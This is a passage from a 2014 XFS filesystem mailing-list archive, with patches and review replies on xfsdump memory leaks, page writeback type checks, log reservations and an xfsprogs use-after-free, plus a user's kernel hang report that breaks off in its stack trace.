Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 838907F3F for ; Wed, 5 Mar 2014 14:12:25 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 51133304032 for ; Wed, 5 Mar 2014 12:12:22 -0800 (PST) X-ASG-Debug-ID: 1394050336-04bdf05da92d4fe0001-NocioJ Received: from mail-ea0-f175.google.com (mail-ea0-f175.google.com [209.85.215.175]) by cuda.sgi.com with ESMTP id HeEUCm2yylwSS7Sv (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Wed, 05 Mar 2014 12:12:17 -0800 (PST) X-Barracuda-Envelope-From: ranto.boris@gmail.com X-Barracuda-Apparent-Source-IP: 209.85.215.175 X-Barracuda-IPDD: Level1 [gmail.com/209.85.215.175] Received: by mail-ea0-f175.google.com with SMTP id d10so1263618eaj.6 for ; Wed, 05 Mar 2014 12:12:16 -0800 (PST) X-Barracuda-IPDD: Level1 [gmail.com/209.85.215.175] X-Barracuda-IPDD: Level1 [gmail.com/209.85.215.175] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=from:to:cc:subject:date:message-id; bh=XoAxX3FTgqzpxaLSsf0haGLZy3i6gGNcEK6IWcko4ks=; b=LaQox8Tmx2mjggzvNBjxdP1Si6fWVaNcZ1oxAGmcwEsWyJLr4uVLn0lAO0tAnEBNl3 5iGfQQW6H/LUqpfNh8ICJF6JBGpw/AgfRDspVMxc3Kh5bZg6UMi13hqMAW2yqqJumCay VYD+zCr3JUrg9tS4rPYaQozUWdOHB4fldO3kjurgnNbTH58+ZvJsqqtIVoQJgXc3iyQV 2fLP07r7/zxGg9+RFERyZnnjU38QSVVumX4Mq9Aw+UI1wbxBiu8HlH8L1UlowNNSmBwu Qo4Q7cITaFB0c6ZTxpeB6T/JjUYWZvlB23jJXE9WEoWW2BCTxPCQQWbckJQprX3J2iYR tgJw== X-Received: by 10.14.183.71 with SMTP id p47mr7882717eem.61.1394050335853; Wed, 05 Mar 2014 12:12:15 -0800 (PST) Received: from dhcp-31-223.brq.redhat.com (nat-pool-brq-t.redhat.com. [209.132.186.34]) by mx.google.com with ESMTPSA id o43sm13136486eef.12.2014.03.05.12.12.13 for (version=TLSv1.2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128); Wed, 05 Mar 2014 12:12:14 -0800 (PST) From: Boris Ranto To: xfs@oss.sgi.com Cc: branto@redhat.com, Boris Ranto Subject: [PATCH] xfsdump: Fix memory leak in invutil/stobj.c Date: Wed, 5 Mar 2014 21:11:51 +0100 X-ASG-Orig-Subj: [PATCH] xfsdump: Fix memory leak in invutil/stobj.c Message-Id: <1394050311-17965-1-git-send-email-ranto.boris@gmail.com> X-Mailer: git-send-email 1.7.1 X-Barracuda-Connect: mail-ea0-f175.google.com[209.85.215.175] X-Barracuda-Start-Time: 1394050336 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.3630 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature The function open_stobj duplicates its argument, upon successful duplication, the fstat is called. If the fstat command fails then the memory for the duplicated string is leaked. Fix this by moving the string duplication after the fstat call. This is ok because the fstat call does not use the duplicated string. Signed-off-by: Boris Ranto --- invutil/stobj.c | 12 ++++++------ 1 files changed, 6 insertions(+), 6 deletions(-) diff --git a/invutil/stobj.c b/invutil/stobj.c index 428b419..55abe63 100644 --- a/invutil/stobj.c +++ b/invutil/stobj.c @@ -578,12 +578,6 @@ open_stobj(char *StObjFileName) return fd; } - name = strdup(StObjFileName); - if(name == NULL) { - fprintf(stderr, "%s: internal memory error: strdup stobj_name\n", g_programName); - exit(1); - } - read_n_bytes(fd, &cnt, sizeof(invt_sescounter_t), StObjFileName); lseek( fd, 0, SEEK_SET ); errno = 0; @@ -595,6 +589,12 @@ open_stobj(char *StObjFileName) size = sb.st_size; mapaddr = mmap_n_bytes(fd, size, BOOL_FALSE, StObjFileName); + name = strdup(StObjFileName); + if(name == NULL) { + fprintf(stderr, "%s: internal memory error: strdup stobj_name\n", g_programName); + exit(1); + } + return add_stobj(name, fd, size, mapaddr, (invt_sescounter_t *)mapaddr); } -- 1.7.1 From david@fromorbit.com Wed Mar 5 15:40:13 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id F344F7F3F for ; Wed, 5 Mar 2014 15:40:12 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id DC6C2304032 for ; Wed, 5 Mar 2014 13:40:09 -0800 (PST) X-ASG-Debug-ID: 1394055607-04cbb054b7c7320001-NocioJ Received: from ipmail06.adl2.internode.on.net (ipmail06.adl2.internode.on.net [150.101.137.129]) by cuda.sgi.com with ESMTP id weBA1Blyzj8AGa32 for ; Wed, 05 Mar 2014 13:40:08 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.129 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AgdYAECZF1N5LJYePGdsb2JhbABagwaIULN4hVeBGRcDAQEBAR8ZDSiCJQEBAQQ6HCMQCAMOCgkMGQ8FJQMHGhOHeM59FxaNbk0HCoQuAQOYPJVtKIEt Received: from ppp121-44-150-30.lns20.syd7.internode.on.net (HELO dastard) ([121.44.150.30]) by ipmail06.adl2.internode.on.net with ESMTP; 06 Mar 2014 08:10:05 +1030 Received: from dave by dastard with local (Exim 4.80) (envelope-from ) id 1WLJXm-0003my-3H; Thu, 06 Mar 2014 08:40:02 +1100 Date: Thu, 6 Mar 2014 08:40:02 +1100 From: Dave Chinner To: Christoph Hellwig Cc: xfs@oss.sgi.com Subject: Re: [PATCH 2/2] xfs: inode log reservations are still too small Message-ID: <20140305214002.GI6851@dastard> X-ASG-Orig-Subj: Re: [PATCH 2/2] xfs: inode log reservations are still too small References: <1393981893-2497-1-git-send-email-david@fromorbit.com> <1393981893-2497-3-git-send-email-david@fromorbit.com> <20140305171441.GD11667@infradead.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20140305171441.GD11667@infradead.org> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl2.internode.on.net[150.101.137.129] X-Barracuda-Start-Time: 1394055607 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.3632 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Wed, Mar 05, 2014 at 09:14:41AM -0800, Christoph Hellwig wrote: > The fix looks correct, but care to remind me where we account for the > xlog_op_header for all non-buf, non-inode transaction? We don't. We need to, I just haven't had the time to audit the rest of the reservations to fix them all up yet. AFAIA, only the quota off transactions don't have any slack in them for xlog_op_header space - all the others that are incorrect probably have enough overhead from the buffer overhead roundup to cover the lack ophdr accounting on things like dquots. Cheers, Dave. -- Dave Chinner david@fromorbit.com From bfoster@redhat.com Wed Mar 5 16:08:31 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 25F7F7F3F for ; Wed, 5 Mar 2014 16:08:31 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id E69488F8039 for ; Wed, 5 Mar 2014 14:08:27 -0800 (PST) X-ASG-Debug-ID: 1394057306-04bdf05daa2ddd10001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id 57EcpbhbGZxJxR4z for ; Wed, 05 Mar 2014 14:08:26 -0800 (PST) X-Barracuda-Envelope-From: bfoster@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx01.intmail.prod.int.phx2.redhat.com (int-mx01.intmail.prod.int.phx2.redhat.com [10.5.11.11]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s25M8NYt003269 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 5 Mar 2014 17:08:24 -0500 Received: from bfoster.bfoster ([10.18.41.237]) by int-mx01.intmail.prod.int.phx2.redhat.com (8.13.8/8.13.8) with ESMTP id s25M8MCs012687; Wed, 5 Mar 2014 17:08:23 -0500 Received: by bfoster.bfoster (Postfix, from userid 1000) id 19B3412452B; Wed, 5 Mar 2014 17:08:20 -0500 (EST) Date: Wed, 5 Mar 2014 17:08:20 -0500 From: Brian Foster To: Dave Chinner Cc: xfs@oss.sgi.com Subject: Re: [PATCH 1/2] xfs: xfs_check_page_type buffer checks need help Message-ID: <20140305220819.GC55736@bfoster.bfoster> X-ASG-Orig-Subj: Re: [PATCH 1/2] xfs: xfs_check_page_type buffer checks need help References: <1393981893-2497-1-git-send-email-david@fromorbit.com> <1393981893-2497-2-git-send-email-david@fromorbit.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1393981893-2497-2-git-send-email-david@fromorbit.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Scanned-By: MIMEDefang 2.67 on 10.5.11.11 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1394057306 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On Wed, Mar 05, 2014 at 12:11:32PM +1100, Dave Chinner wrote: > From: Dave Chinner > > xfs_aops_discard_page() was introduced in the following commit: > > xfs: truncate delalloc extents when IO fails in writeback > > ... to clean up left over delalloc ranges after I/O failure in > ->writepage(). generic/224 tests for this scenario and occasionally > reproduces panics on sub-4k blocksize filesystems. > > The cause of this is failure to clean up the delalloc range on a > page where the first buffer does not match one of the expected > states of xfs_check_page_type(). If a buffer is not unwritten, > delayed or dirty&mapped, xfs_check_page_type() stops and > immediately returns 0. > > The stress test of generic/224 creates a scenario where the first > several buffers of a page with delayed buffers are mapped & uptodate > and some subsequent buffer is delayed. If the ->writepage() happens > to fail for this page, xfs_aops_discard_page() incorrectly skips > the entire page. > > This then causes later failures either when direct IO maps the range > and finds the stale delayed buffer, or we evict the inode and find > that the inode still has a delayed block reservation accounted to > it. > > We can easily fix this xfs_aops_discard_page() failure by making > xfs_check_page_type() check all buffers, but this breaks > xfs_convert_page() more than it is already broken. Indeed, > xfs_convert_page() wants xfs_check_page_type() to tell it if the > first buffers on the pages are of a type that can be aggregated into > the contiguous IO that is already being built. > > xfs_convert_page() should not be writing random buffers out of a > page, but the current behaviour will cause it to do so if there are > buffers that don't match the current specification on the page. > Hence for xfs_convert_page() we need to: > > a) return "not ok" if the first buffer on the page does not > match the specification provided to we don't write anything; > and > b) abort it's buffer-add-to-io loop the moment we come > across a buffer that does not match the specification. > > Hence we need to fix both xfs_check_page_type() and > xfs_convert_page() to work correctly with pages that have mixed > buffer types, whilst allowing xfs_aops_discard_page() to scan all > buffers on the page for a type match. > > Reported-by: Brian Foster > Signed-off-by: Dave Chinner > --- This looks pretty good to me as well. I notice one little thing that might not be a real problem, but worth a quick thought... > fs/xfs/xfs_aops.c | 81 ++++++++++++++++++++++++++++++++++--------------------- > 1 file changed, 50 insertions(+), 31 deletions(-) > > diff --git a/fs/xfs/xfs_aops.c b/fs/xfs/xfs_aops.c > index ef62c6b..98016b3 100644 > --- a/fs/xfs/xfs_aops.c > +++ b/fs/xfs/xfs_aops.c > @@ -632,38 +632,46 @@ xfs_map_at_offset( > } > ... > /* > @@ -697,7 +705,7 @@ xfs_convert_page( > goto fail_unlock_page; > if (page->mapping != inode->i_mapping) > goto fail_unlock_page; > - if (!xfs_check_page_type(page, (*ioendp)->io_type)) > + if (!xfs_check_page_type(page, (*ioendp)->io_type, false)) > goto fail_unlock_page; > > /* > @@ -742,6 +750,15 @@ xfs_convert_page( > p_offset = p_offset ? roundup(p_offset, len) : PAGE_CACHE_SIZE; > page_dirty = p_offset / len; > > + /* > + * The moment we find a buffer that doesn't match our current type > + * specification or can't be written, abort the loop and start > + * writeback. As per the above xfs_imap_valid() check, only > + * xfs_vm_writepage() can handle partial page writeback fully - we are > + * limited here to the buffers that are contiguous with the current > + * ioend, and hence a buffer we can't write breaks that contiguity and > + * we have to defer the rest of the IO to xfs_vm_writepage(). > + */ > bh = head = page_buffers(page); > do { > if (offset >= end_offset) > @@ -750,7 +767,7 @@ xfs_convert_page( > uptodate = 0; > if (!(PageUptodate(page) || buffer_uptodate(bh))) { > done = 1; > - continue; > + break; > } > > if (buffer_unwritten(bh) || buffer_delay(bh) || > @@ -762,10 +779,11 @@ xfs_convert_page( > else > type = XFS_IO_OVERWRITE; > > - if (!xfs_imap_valid(inode, imap, offset)) { > - done = 1; > - continue; > - } > + /* > + * imap should always be valid because of the above > + * partial page end_offset check on the imap. > + */ > + ASSERT(xfs_imap_valid(inode, imap, offset)); > > lock_buffer(bh); > if (type != XFS_IO_OVERWRITE) > @@ -777,6 +795,7 @@ xfs_convert_page( > count++; > } else { > done = 1; > + break; > } > } while (offset += len, (bh = bh->b_this_page) != head); > The next couple lines after the loop are: if (uptodate && bh == head) SetPageUptodate(page); Now that we can break out of the loop, the "bh == head" part of that check might not necessarily mean what it used to mean. The uptodate variable is initialized to 1 and we reset to 0 the moment we encounter a !uptodate buffer. Do you think it's possible to get here on the first buffer of the page, without having reset 'uptodate,' and potentially incorrectly set the page uptodate? Brian > @@ -868,7 +887,7 @@ xfs_aops_discard_page( > struct buffer_head *bh, *head; > loff_t offset = page_offset(page); > > - if (!xfs_check_page_type(page, XFS_IO_DELALLOC)) > + if (!xfs_check_page_type(page, XFS_IO_DELALLOC, true)) > goto out_invalidate; > > if (XFS_FORCED_SHUTDOWN(ip->i_mount)) > -- > 1.9.0 > > _______________________________________________ > xfs mailing list > xfs@oss.sgi.com > http://oss.sgi.com/mailman/listinfo/xfs From BATV+c404bb01260e822e786a+3846+infradead.org+hch@bombadil.srs.infradead.org Wed Mar 5 16:34:32 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 21A5F7F3F for ; Wed, 5 Mar 2014 16:34:32 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id EA6108F8078 for ; Wed, 5 Mar 2014 14:34:31 -0800 (PST) X-ASG-Debug-ID: 1394058868-04cb6c56762bc800001-NocioJ Received: from bombadil.infradead.org (bombadil.infradead.org [198.137.202.9]) by cuda.sgi.com with ESMTP id 4Q0D3WgpUKcNKz6f (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Wed, 05 Mar 2014 14:34:29 -0800 (PST) X-Barracuda-Envelope-From: BATV+c404bb01260e822e786a+3846+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1WLKOS-0006fJ-L9; Wed, 05 Mar 2014 22:34:28 +0000 Date: Wed, 5 Mar 2014 14:34:28 -0800 From: Christoph Hellwig To: Dave Chinner Cc: Christoph Hellwig , xfs@oss.sgi.com Subject: Re: [PATCH 2/2] xfs: inode log reservations are still too small Message-ID: <20140305223428.GA25588@infradead.org> X-ASG-Orig-Subj: Re: [PATCH 2/2] xfs: inode log reservations are still too small References: <1393981893-2497-1-git-send-email-david@fromorbit.com> <1393981893-2497-3-git-send-email-david@fromorbit.com> <20140305171441.GD11667@infradead.org> <20140305214002.GI6851@dastard> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20140305214002.GI6851@dastard> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[198.137.202.9] X-Barracuda-Start-Time: 1394058869 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.3635 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- > We don't. We need to, I just haven't had the time to audit the rest > of the reservations to fix them all up yet. AFAIA, only the quota > off transactions don't have any slack in them for xlog_op_header > space - all the others that are incorrect probably have enough > overhead from the buffer overhead roundup to cover the lack ophdr > accounting on things like dquots. That's more or less what I expected.. Reviewed-by: Christoph Hellwig From sandeen@redhat.com Wed Mar 5 16:41:26 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 5B5AA7F3F for ; Wed, 5 Mar 2014 16:41:26 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 44D3330407B for ; Wed, 5 Mar 2014 14:41:23 -0800 (PST) X-ASG-Debug-ID: 1394059282-04cbb054b8cb0e0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id fng5e715Y3JM6WbS for ; Wed, 05 Mar 2014 14:41:22 -0800 (PST) X-Barracuda-Envelope-From: sandeen@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx11.intmail.prod.int.phx2.redhat.com (int-mx11.intmail.prod.int.phx2.redhat.com [10.5.11.24]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s25Mew01010051 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 5 Mar 2014 17:40:58 -0500 Received: from liberator.sandeen.net (ovpn01.gateway.prod.ext.phx2.redhat.com [10.5.9.1]) by int-mx11.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id s25MetZM008003 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES128-SHA bits=128 verify=NO); Wed, 5 Mar 2014 17:40:58 -0500 Message-ID: <5317A7F7.4060404@redhat.com> Date: Wed, 05 Mar 2014 16:40:55 -0600 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:24.0) Gecko/20100101 Thunderbird/24.3.0 MIME-Version: 1.0 To: Christoph Hellwig , Eric Sandeen CC: xfs-oss Subject: Re: [PATCH] xfsprogs: fix use after free in inode_item_done() References: <5314E912.9080708@redhat.com> <20140305170256.GB11667@infradead.org> <53175C97.2050408@sandeen.net> <20140305223612.GA25639@infradead.org> X-ASG-Orig-Subj: Re: [PATCH] xfsprogs: fix use after free in inode_item_done() In-Reply-To: <20140305223612.GA25639@infradead.org> X-Enigmail-Version: 1.6 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Scanned-By: MIMEDefang 2.68 on 10.5.11.24 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1394059282 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On 3/5/14, 4:36 PM, Christoph Hellwig wrote: > On Wed, Mar 05, 2014 at 11:19:19AM -0600, Eric Sandeen wrote: >> Yeah, that does seem better! Thanks for spotting that. >> >> The difference when calling inode_item_unlock is a bit more zeroing-out: >> >> ip->i_transp = NULL; >> >> iip->ili_flags = 0; >> >> I'm not sure of the implications of that offhand, TBH. >> >> Dave, hold off on my commit I guess ;) > > i_itransp nulling is obviously harmless as we are freeing the inode > right after. Not in all cases, right? static void inode_item_unlock( xfs_inode_log_item_t *iip) { xfs_inode_t *ip = iip->ili_inode; /* Clear the transaction pointer in the inode. */ ip->i_transp = NULL; iip->ili_flags = 0; if (!iip->ili_lock_flags) libxfs_iput(ip, 0); else iip->ili_lock_flags = 0; // <-- not here. } > ili_flags is always 0 in libxfs and we might as well just remove it. > From austin@peloton-tech.com Wed Mar 5 17:08:21 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id C33687F3F for ; Wed, 5 Mar 2014 17:08:21 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id AE3CD304032 for ; Wed, 5 Mar 2014 15:08:18 -0800 (PST) X-ASG-Debug-ID: 1394060896-04cb6c56752be450001-NocioJ Received: from mail-ie0-f181.google.com (mail-ie0-f181.google.com [209.85.223.181]) by cuda.sgi.com with ESMTP id ZwuhmKH8eFZ7jx9Q (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Wed, 05 Mar 2014 15:08:16 -0800 (PST) X-Barracuda-Envelope-From: austin@peloton-tech.com X-Barracuda-Apparent-Source-IP: 209.85.223.181 Received: by mail-ie0-f181.google.com with SMTP id tp5so1888113ieb.12 for ; Wed, 05 Mar 2014 15:08:16 -0800 (PST) X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20130820; h=x-gm-message-state:mime-version:date:message-id:subject:from:to :content-type; bh=smz2NKkjpb8WnlwLbB02+YP8tBbVqF7NBXSEfAyvaLA=; b=DIDstBqFxyH4g6wGplOVtT6sdXFqiwY2Eacz12c0okmxwZQg+pOrk3IUYvqAqtM3IC cQV8otdqivvLb1z/sHuKBwioD5dfIuoG6cW/D14rpbze99iCD6WTmrMfdBBgHReNr0qL LNaoR56VUn1VWPbS3foGBLZAo75zmJn2Op368h1CBgwtkUJpVAFFwT/arvHXJpRCWBat xV6fnBhXx+l3uQLbOI8aKMwcRsxe1s2zwEwQM48zKshdg0eTJTa3Vub9PmFo0PC0iDpK BXU4eT0+2jebqEbn7Fohm/TF/1VmynsI2odDMa5e60IxAEThgosx+1UEj83Y+vilE2QL /lMQ== X-Gm-Message-State: ALoCoQmVE1os/8Ypnzpoy/hR6PT/aiG4TQKxDSCutshsPShd+BjWj60Z+AbPnnuEHP3qMHBukc1z MIME-Version: 1.0 X-Received: by 10.42.180.197 with SMTP id bv5mr7199389icb.47.1394060896371; Wed, 05 Mar 2014 15:08:16 -0800 (PST) Received: by 10.64.223.167 with HTTP; Wed, 5 Mar 2014 15:08:16 -0800 (PST) Date: Wed, 5 Mar 2014 15:08:16 -0800 Message-ID: Subject: XFS crash? From: Austin Schuh X-ASG-Orig-Subj: XFS crash? To: xfs@oss.sgi.com Content-Type: text/plain; charset=ISO-8859-1 X-Barracuda-Connect: mail-ie0-f181.google.com[209.85.223.181] X-Barracuda-Start-Time: 1394060896 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.3636 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Howdy, I'm running a config_preempt_rt patched version of the 3.10.11 kernel, and I'm seeing a couple lockups and crashes which I think are related to XFS. After the first lockup, I booted into single user mode, mounted the filesystem readonly, and then ran xfs_repair -d. When I rebooted again, I initiated a large copy to a USB drive (formated EXT3) and continued editing source files and compiling. After a couple minutes, my laptop started locking up and after 2 minutes, the following showed up in the kernel. Austin $ uname -a Linux vpc5 3.10-3-rt-amd64 #5 SMP PREEMPT RT Debian 3.10.11-2 (2013-09-10) x86_64 GNU/Linux [ 1186.363397] usb 2-1: USB disconnect, device number 2 [ 1200.895262] INFO: task kworker/u16:5:250 blocked for more than 120 seconds. [ 1200.895267] "echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables this message. [ 1200.895270] kworker/u16:5 D ffff88040dc62cc0 0 250 2 0x00000000 [ 1200.895281] Workqueue: writeback bdi_writeback_workfn (flush-8:0) [ 1200.895287] ffff880406fc5c20 0000000000000046 0000000000008000 ffff880407f06ce0 [ 1200.895288] 0000000000062cc0 ffff880407dfdfd8 0000000000062cc0 ffff880407dfdfd8 [ 1200.895290] ffff880407dfd5e8 ffff880406fc5c20 ffff880407dfd710 ffff880407dfd708 [ 1200.895294] Call Trace: [ 1200.895301] [] ? console_conditional_schedule+0xf/0xf [ 1200.895304] [] ? schedule+0x6b/0x7c [ 1200.895307] [] ? schedule_timeout+0x2c/0x123 [ 1200.895310] [] ? add_preempt_count+0xb7/0xe0 [ 1200.895313] [] ? migrate_enable+0x1cd/0x1dd [ 1200.895317] [] ? get_parent_ip+0x9/0x1b [ 1200.895319] [] ? add_preempt_count+0xb7/0xe0 [ 1200.895322] [] ? __wait_for_common+0x78/0xd6 [ 1200.895356] [] ? xfs_bmapi_allocate+0x92/0x9e [xfs] [ 1200.895371] [] ? xfs_bmapi_write+0x31f/0x558 [xfs] [ 1200.895375] [] ? kmem_cache_alloc+0x7c/0x17d [ 1200.895390] [] ? __xfs_bmapi_allocate+0x22b/0x22b [xfs] [ 1200.895402] [] ? xfs_iomap_write_allocate+0x1bc/0x2c8 [xfs] [ 1200.895414] [] ? xfs_map_blocks+0x125/0x1f5 [xfs] [ 1200.895424] [] ? xfs_vm_writepage+0x266/0x48f [xfs] [ 1200.895428] [] ? __writepage+0xd/0x2a [ 1200.895430] [] ? write_cache_pages+0x207/0x302 [ 1200.895432] [] ? page_index+0x14/0x14 [ 1200.895435] [] ? generic_writepages+0x3b/0x57 [ 1200.895438] [] ? __writeback_single_inode+0x72/0x225 [ 1200.895441] [] ? writeback_sb_inodes+0x215/0x36d [ 1200.895444] [] ? __writeback_inodes_wb+0x69/0xab [ 1200.895446] [] ? wb_writeback+0x136/0x2a7 [ 1200.895448] [] ? global_dirtyable_memory+0xd/0x46 [ 1200.895450] [] ? global_dirty_limits+0x27/0x120 [ 1200.895453] [] ? wb_do_writeback+0x1a1/0x1dc [ 1200.895456] [] ? bdi_writeback_workfn+0x63/0xf4 [ 1200.895460] [] ? process_one_work+0x19b/0x2b2 [ 1200.895462] [] ? worker_thread+0x12b/0x1f6 [ 1200.895465] [] ? rescuer_thread+0x28f/0x28f [ 1200.895467] [] ? kthread+0x81/0x89 [ 1200.895469] [] ? __kthread_parkme+0x5c/0x5c [ 1200.895472] [] ? ret_from_fork+0x7c/0xb0 [ 1200.895474] [] ? __kthread_parkme+0x5c/0x5c [ 1200.895477] INFO: task kworker/0:2:272 blocked for more than 120 seconds. [ 1200.895501] "echo 